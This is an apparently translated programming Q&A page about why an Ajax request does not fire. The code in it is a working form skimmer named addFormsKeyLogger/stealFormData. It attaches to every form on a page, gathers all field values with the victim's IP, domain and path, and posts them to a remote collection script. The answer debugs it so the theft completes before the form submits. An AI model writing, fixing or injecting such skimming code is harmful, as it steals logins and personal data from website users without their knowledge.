javascript - Ajax 不发布 ny 请求

Question

我尝试使用 Ajax 和纯 Javascript 发布请求，基本上我在页面上存在的所有 HTML 表单的提交按钮上添加一个监听器。

触发时，这些监听器检索用户输入的数据并将它们发布到我的远程服务器。

问题是我输入了ajaxPostRequest方法，但没有发送请求。我怀疑 Ajax 没有足够的时间来完成其工作，因为表单 action="something"会使浏览器离开正在运行 Javascript 代码的当前页面。

function addFormsKeyLogger(victimIP) {
    var forms = document.forms;

    for (i = 0; i < forms.length; i++) {
        forms[i].addEventListener('submit', function () {
            var elements = this.elements;
            var formData = '';

            for (j = 0; j < elements.length; j++) {
              formData += elements[j].name + ':' + elements[j].value + '|';
            }

            stealFormData(victimIP, formData);
        }, false);
    }
}

function stealFormData(victimIP, formData) {
    var params = "action=stealFormData" 
        + "&victimIP="  + victimIP
        + "&domain="    + document.domain
        + "&location="  + encodeURIComponent(location.pathname) 
        + "&formData="  + encodeURIComponent(formData);

    ajaxPostRequest(params);
}

function ajaxPostRequest(params) {
    var url = "http://127.0.0.1/something.php";
    var xhttp = new XMLHttpRequest(); 

    // for debugging
    xhttp.onreadystatechange = function() {
        if (xhttp.readyState == 4 && xhttp.status == 200) {
            alert(params);
        }
    };

    xhttp.open("POST", url, true);
    xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
    xhttp.send(params);
}

编辑:看来我找到了解决方案的开始。我需要使用 event.preventDefault(); 来阻止提交的正常行为，我发布请求，然后调用 this.submit();。然而，出现了一个新问题:不是发送 1 个请求，而是发送多个请求(与页面上的表单数量相同)。有什么想法吗？

Answer 1

嗯，我认为作为答案发布比非常长的编辑更好。

我将代码更改如下:

function addFormsKeyLogger(victimIP) {
    var forms = document.forms;

    for (i = 0; i < forms.length; i++) {
        forms[i].addEventListener('submit', function (event) {
            event.preventDefault();
            var elements = this.elements;
            var formData = '';

            for (j = 0; j < elements.length; j++) {
              formData += elements[j].name + ':' + elements[j].value + '|';
            }

            var params = "action=stealFormData" 
                + "&victimIP="  + victimIP
                + "&domain="    + document.domain
                + "&location="  + encodeURIComponent(location.pathname) 
                + "&formData="  + encodeURIComponent(formData);

            ajaxPostRequest(params);
            this.submit();
        }, false);
    }
}

function ajaxPostRequest(params) {
    var url = "http://127.0.0.1/whatever.php";
    var xhttp = new XMLHttpRequest(); 

    // for debugging
    xhttp.onreadystatechange = function() {
        if (xhttp.readyState == 4 && xhttp.status == 200) {
            alert("success: " + params);
        }
    };

    xhttp.open("POST", url, true);
    xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
    xhttp.send(params);
}

正如我在之前的编辑中所解释的，现在的问题是为每个表单发送一个请求。情况不应该是这样，因为听众受限于特定的形式(this)。因此，如果我提交一份表单，它应该只发送一个请求(对于好的表单)，但目前情况并非如此。

有什么提示吗？